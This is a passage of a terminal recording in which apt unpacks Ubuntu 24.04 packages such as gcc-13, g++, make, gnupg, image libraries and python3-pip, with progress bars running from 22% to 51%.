[76.406822, "o", "Selecting previously unselected package libitm1:amd64."]
[76.407951, "o", "\r\n"]
[76.410152, "o", "Preparing to unpack .../036-libitm1_14.2.0-4ubuntu2~24.04.1_amd64.deb ...\r\n"]
[76.42683, "o", "Unpacking libitm1:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[76.490669, "o", "Selecting previously unselected package libatomic1:amd64.\r\n"]
[76.492504, "o", "Preparing to unpack .../037-libatomic1_14.2.0-4ubuntu2~24.04.1_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 22%]\u001b[49m\u001b[39m [#########################################...................................................................................................................................................] \u001b8"]
[76.50283, "o", "Unpacking libatomic1:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[76.615958, "o", "Selecting previously unselected package libasan8:amd64."]
[76.617085, "o", "\r\n"]
[76.620047, "o", "Preparing to unpack .../038-libasan8_14.2.0-4ubuntu2~24.04.1_amd64.deb ..."]
[76.624098, "o", "\r\n"]
[76.639011, "o", "Unpacking libasan8:amd64 (14.2.0-4ubuntu2~24.04.1) ..."]
[76.641821, "o", "\r\n"]
[76.802275, "o", "Selecting previously unselected package liblsan0:amd64.\r\n"]
[76.805094, "o", "Preparing to unpack .../039-liblsan0_14.2.0-4ubuntu2~24.04.1_amd64.deb ..."]
[76.806836, "o", "\r\n"]
[76.820026, "o", "Unpacking liblsan0:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[76.896503, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 23%]\u001b[49m\u001b[39m [###########################################.................................................................................................................................................] \u001b8"]
[76.969196, "o", "Selecting previously unselected package libtsan2:amd64.\r\nPreparing to unpack .../040-libtsan2_14.2.0-4ubuntu2~24.04.1_amd64.deb ...\r\n"]
[76.974015, "o", "Unpacking libtsan2:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[77.223947, "o", "Selecting previously unselected package libubsan1:amd64."]
[77.226048, "o", "\r\nPreparing to unpack .../041-libubsan1_14.2.0-4ubuntu2~24.04.1_amd64.deb ...\r\n"]
[77.238177, "o", "Unpacking libubsan1:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[77.392178, "o", "Selecting previously unselected package libhwasan0:amd64.\r\n"]
[77.394935, "o", "Preparing to unpack .../042-libhwasan0_14.2.0-4ubuntu2~24.04.1_amd64.deb ...\r\n"]
[77.410891, "o", "Unpacking libhwasan0:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[77.539689, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 24%]\u001b[49m\u001b[39m [#############################################...............................................................................................................................................] \u001b8"]
[77.61577, "o", "Selecting previously unselected package libquadmath0:amd64.\r\n"]
[77.619242, "o", "Preparing to unpack .../043-libquadmath0_14.2.0-4ubuntu2~24.04.1_amd64.deb ...\r\n"]
[77.632879, "o", "Unpacking libquadmath0:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[77.694683, "o", "Selecting previously unselected package libgcc-13-dev:amd64.\r\n"]
[77.702879, "o", "Preparing to unpack .../044-libgcc-13-dev_13.3.0-6ubuntu2~24.04.1_amd64.deb ...\r\n"]
[77.715259, "o", "Unpacking libgcc-13-dev:amd64 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[77.9583, "o", "Selecting previously unselected package gcc-13-x86-64-linux-gnu.\r\n"]
[77.961814, "o", "Preparing to unpack .../045-gcc-13-x86-64-linux-gnu_13.3.0-6ubuntu2~24.04.1_amd64.deb ...\r\n"]
[77.976911, "o", "Unpacking gcc-13-x86-64-linux-gnu (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[78.819959, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 25%]\u001b[49m\u001b[39m"]
[78.822945, "o", " [###############################################.............................................................................................................................................] \u001b8"]
[78.877814, "o", "Selecting previously unselected package gcc-13.\r\n"]
[78.878998, "o", "Preparing to unpack .../046-gcc-13_13.3.0-6ubuntu2~24.04.1_amd64.deb ...\r\n"]
[78.89677, "o", "Unpacking gcc-13 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[78.972138, "o", "Selecting previously unselected package gcc-x86-64-linux-gnu.\r\n"]
[78.974664, "o", "Preparing to unpack .../047-gcc-x86-64-linux-gnu_4%3a13.2.0-7ubuntu1_amd64.deb ...\r\n"]
[78.985133, "o", "Unpacking gcc-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ...\r\n"]
[79.057177, "o", "Selecting previously unselected package gcc.\r\n"]
[79.059652, "o", "Preparing to unpack .../048-gcc_4%3a13.2.0-7ubuntu1_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 26%]\u001b[49m\u001b[39m [################################################............................................................................................................................................] \u001b8"]
[79.067211, "o", "Unpacking gcc (4:13.2.0-7ubuntu1) ...\r\n"]
[79.168177, "o", "Selecting previously unselected package libstdc++-13-dev:amd64.\r\nPreparing to unpack .../049-libstdc++-13-dev_13.3.0-6ubuntu2~24.04.1_amd64.deb ..."]
[79.171003, "o", "\r\n"]
[79.180304, "o", "Unpacking libstdc++-13-dev:amd64 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[79.67671, "o", "Selecting previously unselected package g++-13-x86-64-linux-gnu.\r\nPreparing to unpack .../050-g++-13-x86-64-linux-gnu_13.3.0-6ubuntu2~24.04.1_amd64.deb ...\r\n"]
[79.686365, "o", "Unpacking g++-13-x86-64-linux-gnu (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[80.187068, "o", "Selecting previously unselected package g++-13."]
[80.189008, "o", "\r\n"]
[80.195564, "o", "Preparing to unpack .../051-g++-13_13.3.0-6ubuntu2~24.04.1_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 27%]\u001b[49m\u001b[39m [##################################################..........................................................................................................................................] \u001b8"]
[80.208671, "o", "Unpacking g++-13 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[80.294118, "o", "Selecting previously unselected package g++-x86-64-linux-gnu.\r\n"]
[80.298239, "o", "Preparing to unpack .../052-g++-x86-64-linux-gnu_4%3a13.2.0-7ubuntu1_amd64.deb ...\r\n"]
[80.31286, "o", "Unpacking g++-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ...\r\n"]
[80.405437, "o", "Selecting previously unselected package g++.\r\nPreparing to unpack .../053-g++_4%3a13.2.0-7ubuntu1_amd64.deb ...\r\n"]
[80.423981, "o", "Unpacking g++ (4:13.2.0-7ubuntu1) ...\r\n"]
[80.510959, "o", "Selecting previously unselected package make.\r\nPreparing to unpack .../054-make_4.3-4.1build2_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 28%]\u001b[49m\u001b[39m [####################################################........................................................................................................................................] \u001b8"]
[80.524239, "o", "Unpacking make (4.3-4.1build2) ...\r\n"]
[80.621033, "o", "Selecting previously unselected package libdpkg-perl.\r\n"]
[80.622468, "o", "Preparing to unpack .../055-libdpkg-perl_1.22.6ubuntu6.5_all.deb ...\r\n"]
[80.640843, "o", "Unpacking libdpkg-perl (1.22.6ubuntu6.5) ...\r\n"]
[80.759874, "o", "Selecting previously unselected package bzip2.\r\n"]
[80.762019, "o", "Preparing to unpack .../056-bzip2_1.0.8-5.1build0.1_amd64.deb ...\r\n"]
[80.775214, "o", "Unpacking bzip2 (1.0.8-5.1build0.1) ...\r\n"]
[80.856533, "o", "Selecting previously unselected package patch.\r\n"]
[80.861867, "o", "Preparing to unpack .../057-patch_2.7.6-7build3_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 29%]\u001b[49m\u001b[39m [######################################################......................................................................................................................................] \u001b8"]
[80.866612, "o", "Unpacking patch (2.7.6-7build3) ...\r\n"]
[80.944754, "o", "Selecting previously unselected package lto-disabled-list.\r\n"]
[80.95026, "o", "Preparing to unpack .../058-lto-disabled-list_47_all.deb ...\r\n"]
[80.959538, "o", "Unpacking lto-disabled-list (47) ...\r\n"]
[81.034695, "o", "Selecting previously unselected package dpkg-dev.\r\nPreparing to unpack .../059-dpkg-dev_1.22.6ubuntu6.5_all.deb ..."]
[81.035857, "o", "\r\n"]
[81.045875, "o", "Unpacking dpkg-dev (1.22.6ubuntu6.5) ...\r\n"]
[81.129056, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 30%]\u001b[49m\u001b[39m [########################################################....................................................................................................................................] \u001b8"]
[81.186133, "o", "Selecting previously unselected package build-essential.\r\n"]
[81.188803, "o", "Preparing to unpack .../060-build-essential_12.10ubuntu1_amd64.deb ...\r\n"]
[81.200761, "o", "Unpacking build-essential (12.10ubuntu1) ...\r\n"]
[81.292851, "o", "Selecting previously unselected package gpgconf.\r\n"]
[81.296708, "o", "Preparing to unpack .../061-gpgconf_2.4.4-2ubuntu17.4_amd64.deb ...\r\n"]
[81.310244, "o", "Unpacking gpgconf (2.4.4-2ubuntu17.4) ..."]
[81.311861, "o", "\r\n"]
[81.416528, "o", "Selecting previously unselected package libksba8:amd64.\r\n"]
[81.422141, "o", "Preparing to unpack .../062-libksba8_1.6.6-1build1_amd64.deb ...\r\n"]
[81.432572, "o", "Unpacking libksba8:amd64 (1.6.6-1build1) ...\r\n"]
[81.46036, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 31%]\u001b[49m\u001b[39m [##########################################################..................................................................................................................................] \u001b8"]
[81.526021, "o", "Selecting previously unselected package libsasl2-modules-db:amd64.\r\nPreparing to unpack .../063-libsasl2-modules-db_2.1.28+dfsg1-5ubuntu3.1_amd64.deb ...\r\n"]
[81.532392, "o", "Unpacking libsasl2-modules-db:amd64 (2.1.28+dfsg1-5ubuntu3.1) ...\r\n"]
[81.598731, "o", "Selecting previously unselected package libsasl2-2:amd64.\r\n"]
[81.602903, "o", "Preparing to unpack .../064-libsasl2-2_2.1.28+dfsg1-5ubuntu3.1_amd64.deb ..."]
[81.61055, "o", "\r\n"]
[81.62081, "o", "Unpacking libsasl2-2:amd64 (2.1.28+dfsg1-5ubuntu3.1) ...\r\n"]
[81.717764, "o", "Selecting previously unselected package libldap2:amd64.\r\nPreparing to unpack .../065-libldap2_2.6.10+dfsg-0ubuntu0.24.04.1_amd64.deb ...\r\n"]
[81.733591, "o", "Unpacking libldap2:amd64 (2.6.10+dfsg-0ubuntu0.24.04.1) ...\r\n"]
[81.770846, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 32%]\u001b[49m\u001b[39m [############################################################................................................................................................................................] \u001b8"]
[81.85899, "o", "Selecting previously unselected package dirmngr.\r\nPreparing to unpack .../066-dirmngr_2.4.4-2ubuntu17.4_amd64.deb ...\r\n"]
[81.931669, "o", "Unpacking dirmngr (2.4.4-2ubuntu17.4) ...\r\n"]
[82.044809, "o", "Selecting previously unselected package libfakeroot:amd64.\r\n"]
[82.047853, "o", "Preparing to unpack .../067-libfakeroot_1.33-1_amd64.deb ...\r\n"]
[82.064481, "o", "Unpacking libfakeroot:amd64 (1.33-1) ...\r\n"]
[82.170256, "o", "Selecting previously unselected package fakeroot.\r\n"]
[82.1746, "o", "Preparing to unpack .../068-fakeroot_1.33-1_amd64.deb ...\r\n"]
[82.182514, "o", "Unpacking fakeroot (1.33-1) ...\r\n"]
[82.210696, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 33%]\u001b[49m\u001b[39m [##############################################################..............................................................................................................................] \u001b8"]
[82.267053, "o", "Selecting previously unselected package fonts-dejavu-mono.\r\n"]
[82.270331, "o", "Preparing to unpack .../069-fonts-dejavu-mono_2.37-8_all.deb ...\r\n"]
[82.285923, "o", "Unpacking fonts-dejavu-mono (2.37-8) ..."]
[82.287316, "o", "\r\n"]
[82.427227, "o", "Selecting previously unselected package fonts-dejavu-core.\r\nPreparing to unpack .../070-fonts-dejavu-core_2.37-8_all.deb ...\r\n"]
[82.520195, "o", "Unpacking fonts-dejavu-core (2.37-8) ...\r\n"]
[82.64169, "o", "Selecting previously unselected package fontconfig-config.\r\nPreparing to unpack .../071-fontconfig-config_2.15.0-1.1ubuntu2_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 34%]\u001b[49m\u001b[39m [###############################################################.............................................................................................................................] \u001b8"]
[83.361393, "o", "Unpacking fontconfig-config (2.15.0-1.1ubuntu2) ...\r\n"]
[83.458247, "o", "Selecting previously unselected package gnupg-utils.\r\n"]
[83.461854, "o", "Preparing to unpack .../072-gnupg-utils_2.4.4-2ubuntu17.4_amd64.deb ..."]
[83.461961, "o", "\r\n"]
[83.474213, "o", "Unpacking gnupg-utils (2.4.4-2ubuntu17.4) ...\r\n"]
[83.567018, "o", "Selecting previously unselected package gpg.\r\n"]
[83.568597, "o", "Preparing to unpack .../073-gpg_2.4.4-2ubuntu17.4_amd64.deb ...\r\n"]
[83.577854, "o", "Unpacking gpg (2.4.4-2ubuntu17.4) ...\r\n"]
[83.694776, "o", "Selecting previously unselected package pinentry-curses.\r\nPreparing to unpack .../074-pinentry-curses_1.2.1-3ubuntu5_amd64.deb ...\r\n"]
[83.701208, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 35%]\u001b[49m\u001b[39m [#################################################################...........................................................................................................................] \u001b8"]
[83.710974, "o", "Unpacking pinentry-curses (1.2.1-3ubuntu5) ...\r\n"]
[83.818638, "o", "Selecting previously unselected package gpg-agent.\r\n"]
[83.827686, "o", "Preparing to unpack .../075-gpg-agent_2.4.4-2ubuntu17.4_amd64.deb ...\r\n"]
[83.833773, "o", "Unpacking gpg-agent (2.4.4-2ubuntu17.4) ..."]
[83.836617, "o", "\r\n"]
[83.936183, "o", "Selecting previously unselected package gpgsm.\r\nPreparing to unpack .../076-gpgsm_2.4.4-2ubuntu17.4_amd64.deb ...\r\n"]
[83.950549, "o", "Unpacking gpgsm (2.4.4-2ubuntu17.4) ...\r\n"]
[84.056726, "o", "Selecting previously unselected package keyboxd.\r\nPreparing to unpack .../077-keyboxd_2.4.4-2ubuntu17.4_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 36%]\u001b[49m\u001b[39m [###################################################################.........................................................................................................................] \u001b8"]
[84.069534, "o", "Unpacking keyboxd (2.4.4-2ubuntu17.4) ...\r\n"]
[84.146202, "o", "Selecting previously unselected package gnupg.\r\n"]
[84.147915, "o", "Preparing to unpack .../078-gnupg_2.4.4-2ubuntu17.4_all.deb ...\r\n"]
[84.163773, "o", "Unpacking gnupg (2.4.4-2ubuntu17.4) ...\r\n"]
[84.266612, "o", "Selecting previously unselected package gnupg-l10n.\r\n"]
[84.268373, "o", "Preparing to unpack .../079-gnupg-l10n_2.4.4-2ubuntu17.4_all.deb ...\r\n"]
[84.28378, "o", "Unpacking gnupg-l10n (2.4.4-2ubuntu17.4) ...\r\n"]
[84.376773, "o", "Selecting previously unselected package gpg-wks-client.\r\n"]
[84.37859, "o", "Preparing to unpack .../080-gpg-wks-client_2.4.4-2ubuntu17.4_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 37%]\u001b[49m\u001b[39m [#####################################################################.......................................................................................................................] \u001b8"]
[84.391973, "o", "Unpacking gpg-wks-client (2.4.4-2ubuntu17.4) ...\r\n"]
[84.486143, "o", "Selecting previously unselected package javascript-common.\r\nPreparing to unpack .../081-javascript-common_11+nmu1_all.deb ...\r\n"]
[84.545954, "o", "Unpacking javascript-common (11+nmu1) ...\r\n"]
[84.618917, "o", "Selecting previously unselected package libalgorithm-diff-perl.\r\n"]
[84.619807, "o", "Preparing to unpack .../082-libalgorithm-diff-perl_1.201-1_all.deb ...\r\n"]
[84.629645, "o", "Unpacking libalgorithm-diff-perl (1.201-1) ...\r\n"]
[84.654904, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 38%]\u001b[49m\u001b[39m [#######################################################################.....................................................................................................................] \u001b8"]
[84.715077, "o", "Selecting previously unselected package libalgorithm-diff-xs-perl:amd64.\r\n"]
[84.719208, "o", "Preparing to unpack .../083-libalgorithm-diff-xs-perl_0.04-8build3_amd64.deb ...\r\n"]
[84.731442, "o", "Unpacking libalgorithm-diff-xs-perl:amd64 (0.04-8build3) ...\r\n"]
[84.849193, "o", "Selecting previously unselected package libalgorithm-merge-perl.\r\n"]
[84.851175, "o", "Preparing to unpack .../084-libalgorithm-merge-perl_0.08-5_all.deb ...\r\n"]
[84.862947, "o", "Unpacking libalgorithm-merge-perl (0.08-5) ..."]
[84.866726, "o", "\r\n"]
[84.990925, "o", "Selecting previously unselected package libaom3:amd64.\r\n"]
[84.998279, "o", "Preparing to unpack .../085-libaom3_3.8.2-2ubuntu0.1_amd64.deb ..."]
[85.000343, "o", "\r\n"]
[85.011662, "o", "Unpacking libaom3:amd64 (3.8.2-2ubuntu0.1) ...\r\n"]
[85.107517, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 39%]\u001b[49m\u001b[39m [#########################################################################...................................................................................................................] \u001b8"]
[85.178671, "o", "Selecting previously unselected package libbrotli1:amd64.\r\n"]
[85.183014, "o", "Preparing to unpack .../086-libbrotli1_1.1.0-2build2_amd64.deb ...\r\n"]
[85.195244, "o", "Unpacking libbrotli1:amd64 (1.1.0-2build2) ...\r\n"]
[85.396785, "o", "Selecting previously unselected package libfreetype6:amd64."]
[85.400639, "o", "\r\n"]
[85.406897, "o", "Preparing to unpack .../087-libfreetype6_2.13.2+dfsg-1ubuntu0.1_amd64.deb ...\r\n"]
[85.432699, "o", "Unpacking libfreetype6:amd64 (2.13.2+dfsg-1ubuntu0.1) ...\r\n"]
[85.811629, "o", "Selecting previously unselected package libfontconfig1:amd64.\r\n"]
[85.816805, "o", "Preparing to unpack .../088-libfontconfig1_2.15.0-1.1ubuntu2_amd64.deb ...\r\n"]
[85.827963, "o", "Unpacking libfontconfig1:amd64 (2.15.0-1.1ubuntu2) ...\r\n"]
[85.851585, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 40%]\u001b[49m\u001b[39m [###########################################################################.................................................................................................................] \u001b8"]
[85.901883, "o", "Selecting previously unselected package libsharpyuv0:amd64.\r\n"]
[85.90442, "o", "Preparing to unpack .../089-libsharpyuv0_1.3.2-0.4build3_amd64.deb ...\r\n"]
[85.925278, "o", "Unpacking libsharpyuv0:amd64 (1.3.2-0.4build3) ...\r\n"]
[86.034441, "o", "Selecting previously unselected package libheif-plugin-aomdec:amd64."]
[86.036424, "o", "\r\n"]
[86.038923, "o", "Preparing to unpack .../090-libheif-plugin-aomdec_1.17.6-1ubuntu4.2_amd64.deb ..."]
[86.041208, "o", "\r\n"]
[86.052755, "o", "Unpacking libheif-plugin-aomdec:amd64 (1.17.6-1ubuntu4.2) ...\r\n"]
[86.150672, "o", "Selecting previously unselected package libde265-0:amd64.\r\nPreparing to unpack .../091-libde265-0_1.0.15-1build3_amd64.deb ...\r\n"]
[86.152265, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 41%]\u001b[49m\u001b[39m"]
[86.153896, "o", " [#############################################################################...............................................................................................................] \u001b8"]
[86.166282, "o", "Unpacking libde265-0:amd64 (1.0.15-1build3) ...\r\n"]
[86.251777, "o", "Selecting previously unselected package libheif-plugin-libde265:amd64.\r\n"]
[86.25361, "o", "Preparing to unpack .../092-libheif-plugin-libde265_1.17.6-1ubuntu4.2_amd64.deb ..."]
[86.255958, "o", "\r\n"]
[86.267648, "o", "Unpacking libheif-plugin-libde265:amd64 (1.17.6-1ubuntu4.2) ...\r\n"]
[86.377634, "o", "Selecting previously unselected package libheif1:amd64.\r\nPreparing to unpack .../093-libheif1_1.17.6-1ubuntu4.2_amd64.deb ..."]
[86.37908, "o", "\r\n"]
[86.389732, "o", "Unpacking libheif1:amd64 (1.17.6-1ubuntu4.2) ...\r\n"]
[86.521063, "o", "Selecting previously unselected package libjpeg-turbo8:amd64.\r\nPreparing to unpack .../094-libjpeg-turbo8_2.1.5-2ubuntu2_amd64.deb ..."]
[86.522858, "o", "\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 42%]\u001b[49m\u001b[39m [###############################################################################.............................................................................................................] \u001b8"]
[86.537498, "o", "Unpacking libjpeg-turbo8:amd64 (2.1.5-2ubuntu2) ...\r\n"]
[86.593982, "o", "Selecting previously unselected package libjpeg8:amd64."]
[86.596892, "o", "\r\n"]
[86.597044, "o", "Preparing to unpack .../095-libjpeg8_8c-2ubuntu11_amd64.deb ...\r\n"]
[86.602155, "o", "Unpacking libjpeg8:amd64 (8c-2ubuntu11) ...\r\n"]
[86.709516, "o", "Selecting previously unselected package libdeflate0:amd64.\r\n"]
[86.714666, "o", "Preparing to unpack .../096-libdeflate0_1.19-1build1.1_amd64.deb ...\r\n"]
[86.726436, "o", "Unpacking libdeflate0:amd64 (1.19-1build1.1) ..."]
[86.729005, "o", "\r\n"]
[86.817329, "o", "Selecting previously unselected package libjbig0:amd64.\r\n"]
[86.817831, "o", "Preparing to unpack .../097-libjbig0_2.1-6.1ubuntu2_amd64.deb ...\r\n"]
[86.823828, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 43%]\u001b[49m\u001b[39m [#################################################################################...........................................................................................................] \u001b8"]
[86.833152, "o", "Unpacking libjbig0:amd64 (2.1-6.1ubuntu2) ...\r\n"]
[86.938742, "o", "Selecting previously unselected package liblerc4:amd64.\r\n"]
[86.941559, "o", "Preparing to unpack .../098-liblerc4_4.0.0+ds-4ubuntu2_amd64.deb ...\r\n"]
[86.951117, "o", "Unpacking liblerc4:amd64 (4.0.0+ds-4ubuntu2) ...\r\n"]
[87.047803, "o", "Selecting previously unselected package libwebp7:amd64.\r\n"]
[87.049242, "o", "Preparing to unpack .../099-libwebp7_1.3.2-0.4build3_amd64.deb ...\r\n"]
[87.057794, "o", "Unpacking libwebp7:amd64 (1.3.2-0.4build3) ...\r\n"]
[87.155017, "o", "Selecting previously unselected package libtiff6:amd64.\r\nPreparing to unpack .../100-libtiff6_4.5.1+git230720-4ubuntu2.5_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 44%]\u001b[49m\u001b[39m [###################################################################################.........................................................................................................] \u001b8"]
[87.175606, "o", "Unpacking libtiff6:amd64 (4.5.1+git230720-4ubuntu2.5) ...\r\n"]
[87.296969, "o", "Selecting previously unselected package libxpm4:amd64.\r\n"]
[87.301869, "o", "Preparing to unpack .../101-libxpm4_1%3a3.5.17-1build2_amd64.deb ...\r\n"]
[87.315325, "o", "Unpacking libxpm4:amd64 (1:3.5.17-1build2) ...\r\n"]
[87.419509, "o", "Selecting previously unselected package libgd3:amd64.\r\n"]
[87.426735, "o", "Preparing to unpack .../102-libgd3_2.3.3-9ubuntu5_amd64.deb ...\r\n"]
[87.438051, "o", "Unpacking libgd3:amd64 (2.3.3-9ubuntu5) ...\r\n"]
[87.470535, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 45%]\u001b[49m\u001b[39m [####################################################################################........................................................................................................] \u001b8"]
[87.531371, "o", "Selecting previously unselected package libc-devtools.\r\n"]
[87.538599, "o", "Preparing to unpack .../103-libc-devtools_2.39-0ubuntu8.7_amd64.deb ...\r\n"]
[87.553128, "o", "Unpacking libc-devtools (2.39-0ubuntu8.7) ...\r\n"]
[87.652422, "o", "Selecting previously unselected package libexpat1-dev:amd64.\r\nPreparing to unpack .../104-libexpat1-dev_2.6.1-2ubuntu0.4_amd64.deb ..."]
[87.653137, "o", "\r\n"]
[87.66195, "o", "Unpacking libexpat1-dev:amd64 (2.6.1-2ubuntu0.4) ...\r\n"]
[87.75409, "o", "Selecting previously unselected package libfile-fcntllock-perl.\r\n"]
[87.760592, "o", "Preparing to unpack .../105-libfile-fcntllock-perl_0.22-4ubuntu5_amd64.deb ...\r\n"]
[87.774385, "o", "Unpacking libfile-fcntllock-perl (0.22-4ubuntu5) ...\r\n"]
[87.805808, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 46%]\u001b[49m\u001b[39m [######################################################################################......................................................................................................] \u001b8"]
[87.871713, "o", "Selecting previously unselected package libheif-plugin-aomenc:amd64.\r\nPreparing to unpack .../106-libheif-plugin-aomenc_1.17.6-1ubuntu4.2_amd64.deb ...\r\n"]
[87.885666, "o", "Unpacking libheif-plugin-aomenc:amd64 (1.17.6-1ubuntu4.2) ...\r\n"]
[88.008188, "o", "Selecting previously unselected package libjs-jquery.\r\n"]
[88.012569, "o", "Preparing to unpack .../107-libjs-jquery_3.6.1+dfsg+~3.5.14-1_all.deb ...\r\n"]
[88.048504, "o", "Unpacking libjs-jquery (3.6.1+dfsg+~3.5.14-1) ...\r\n"]
[88.135909, "o", "Selecting previously unselected package libjs-underscore.\r\n"]
[88.140747, "o", "Preparing to unpack .../108-libjs-underscore_1.13.4~dfsg+~1.11.4-3_all.deb ...\r\n"]
[88.149782, "o", "Unpacking libjs-underscore (1.13.4~dfsg+~1.11.4-3) ...\r\n"]
[88.179262, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 47%]\u001b[49m\u001b[39m [########################################################################################....................................................................................................] \u001b8"]
[88.237172, "o", "Selecting previously unselected package libjs-sphinxdoc.\r\n"]
[88.2396, "o", "Preparing to unpack .../109-libjs-sphinxdoc_7.2.6-6_all.deb ...\r\n"]
[88.250943, "o", "Unpacking libjs-sphinxdoc (7.2.6-6) ...\r\n"]
[88.338842, "o", "Selecting previously unselected package libldap-common.\r\nPreparing to unpack .../110-libldap-common_2.6.10+dfsg-0ubuntu0.24.04.1_all.deb ..."]
[88.34116, "o", "\r\n"]
[88.354237, "o", "Unpacking libldap-common (2.6.10+dfsg-0ubuntu0.24.04.1) ...\r\n"]
[88.473986, "o", "Selecting previously unselected package libpython3.12t64:amd64.\r\nPreparing to unpack .../111-libpython3.12t64_3.12.3-1ubuntu0.12_amd64.deb ...\r\n"]
[88.486218, "o", "Unpacking libpython3.12t64:amd64 (3.12.3-1ubuntu0.12) ...\r\n"]
[88.652965, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 48%]\u001b[49m\u001b[39m [##########################################################################################..................................................................................................] \u001b8"]
[88.71337, "o", "Selecting previously unselected package zlib1g-dev:amd64.\r\n"]
[88.71964, "o", "Preparing to unpack .../112-zlib1g-dev_1%3a1.3.dfsg-3.1ubuntu2.1_amd64.deb ...\r\n"]
[88.738595, "o", "Unpacking zlib1g-dev:amd64 (1:1.3.dfsg-3.1ubuntu2.1) ...\r\n"]
[88.820758, "o", "Selecting previously unselected package libpython3.12-dev:amd64.\r\n"]
[88.826695, "o", "Preparing to unpack .../113-libpython3.12-dev_3.12.3-1ubuntu0.12_amd64.deb ...\r\n"]
[88.843942, "o", "Unpacking libpython3.12-dev:amd64 (3.12.3-1ubuntu0.12) ...\r\n"]
[89.33683, "o", "Selecting previously unselected package libpython3-dev:amd64.\r\nPreparing to unpack .../114-libpython3-dev_3.12.3-0ubuntu2.1_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 49%]\u001b[49m\u001b[39m [############################################################################################................................................................................................] \u001b8"]
[89.351798, "o", "Unpacking libpython3-dev:amd64 (3.12.3-0ubuntu2.1) ...\r\n"]
[89.466214, "o", "Selecting previously unselected package libsasl2-modules:amd64.\r\n"]
[89.47484, "o", "Preparing to unpack .../115-libsasl2-modules_2.1.28+dfsg1-5ubuntu3.1_amd64.deb ...\r\n"]
[89.515789, "o", "Unpacking libsasl2-modules:amd64 (2.1.28+dfsg1-5ubuntu3.1) ...\r\n"]
[89.614135, "o", "Selecting previously unselected package manpages-dev.\r\n"]
[89.616925, "o", "Preparing to unpack .../116-manpages-dev_6.7-2_all.deb ...\r\n"]
[89.621708, "o", "Unpacking manpages-dev (6.7-2) ..."]
[89.6231, "o", "\r\n"]
[89.806289, "o", "Selecting previously unselected package python3.12-dev.\r\n"]
[89.809343, "o", "Preparing to unpack .../117-python3.12-dev_3.12.3-1ubuntu0.12_amd64.deb ...\r\n"]
[89.812871, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 50%]\u001b[49m\u001b[39m [##############################################################################################..............................................................................................] \u001b8"]
[89.821157, "o", "Unpacking python3.12-dev (3.12.3-1ubuntu0.12) ..."]
[89.821771, "o", "\r\n"]
[89.896139, "o", "Selecting previously unselected package python3-dev.\r\n"]
[89.900586, "o", "Preparing to unpack .../118-python3-dev_3.12.3-0ubuntu2.1_amd64.deb ...\r\n"]
[89.914856, "o", "Unpacking python3-dev (3.12.3-0ubuntu2.1) ...\r\n"]
[90.008592, "o", "Selecting previously unselected package python3-setuptools.\r\n"]
[90.017651, "o", "Preparing to unpack .../119-python3-setuptools_68.1.2-2ubuntu1.2_all.deb ...\r\n"]
[90.029521, "o", "Unpacking python3-setuptools (68.1.2-2ubuntu1.2) ...\r\n"]
[90.186853, "o", "Selecting previously unselected package python3-wheel.\r\nPreparing to unpack .../120-python3-wheel_0.42.0-2_all.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 51%]\u001b[49m\u001b[39m [################################################################################################............................................................................................] \u001b8"]
[90.200359, "o", "Unpacking python3-wheel (0.42.0-2) ...\r\n"]
[90.305992, "o", "Selecting previously unselected package python3-pip.\r\nPreparing to unpack .../121-python3-pip_24.0+dfsg-1ubuntu1.3_all.deb ...\r\n"]
